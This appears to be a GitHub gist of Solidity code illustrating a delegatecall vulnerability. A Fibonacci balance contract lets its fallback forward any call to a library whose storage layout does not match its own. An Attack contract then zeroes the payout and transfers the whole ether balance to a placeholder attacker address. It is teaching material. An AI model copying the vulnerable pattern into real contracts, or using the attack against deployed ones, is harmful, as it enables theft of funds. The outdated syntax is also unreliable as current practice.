Skip to content

Instantly share code, notes, and snippets.

@phunguyen19
Created July 30, 2024 00:33
Show Gist options
  • Save phunguyen19/20805fada6508938dd21c310397c2eb6 to your computer and use it in GitHub Desktop.
Save phunguyen19/20805fada6508938dd21c310397c2eb6 to your computer and use it in GitHub Desktop.
Example Ethereum Smart Contract delegatecall vulnerability
// library contract - calculates Fibonacci-like numbers
contract FibonacciLib {
// initializing the standard Fibonacci sequence
uint public start;
uint public calculatedFibNumber;
// modify the zeroth number in the sequence
function setStart(uint _start) public {
start = _start;
}
function setFibonacci(uint n) public {
calculatedFibNumber = fibonacci(n);
}
function fibonacci(uint n) internal returns (uint) {
if (n == 0) return start;
else if (n == 1) return start + 1;
else return fibonacci(n - 1) + fibonacci(n - 2);
}
}
contract FibonacciBalance {
address public fibonacciLibrary;
// the current Fibonacci number to withdraw
uint public calculatedFibNumber;
// the starting Fibonacci sequence number
uint public start = 3;
uint public withdrawalCounter;
// the Fibonancci function selector
bytes4 constant fibSig = bytes4(sha3("setFibonacci(uint256)"));
// constructor - loads the contract with ether
constructor(address _fibonacciLibrary) external payable {
fibonacciLibrary = _fibonacciLibrary;
}
function withdraw() {
withdrawalCounter += 1;
// calculate the Fibonacci number for the current withdrawal user-
// this sets calculatedFibNumber
require(fibonacciLibrary.delegatecall(fibSig, withdrawalCounter));
msg.sender.transfer(calculatedFibNumber * 1 ether);
}
// allow users to call Fibonacci library functions
function() public {
require(fibonacciLibrary.delegatecall(msg.data));
}
}
contract Attack {
uint storageSlot0; // corresponds to fibonacciLibrary
uint storageSlot1; // corresponds to calculatedFibNumber
// fallback - this will run if a specified function is not found
function() public {
storageSlot1 = 0; // we set calculatedFibNumber to 0, so if withdraw
// is called we don't send out any ether
<attacker_address>.transfer(this.balance); // we take all the ether
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment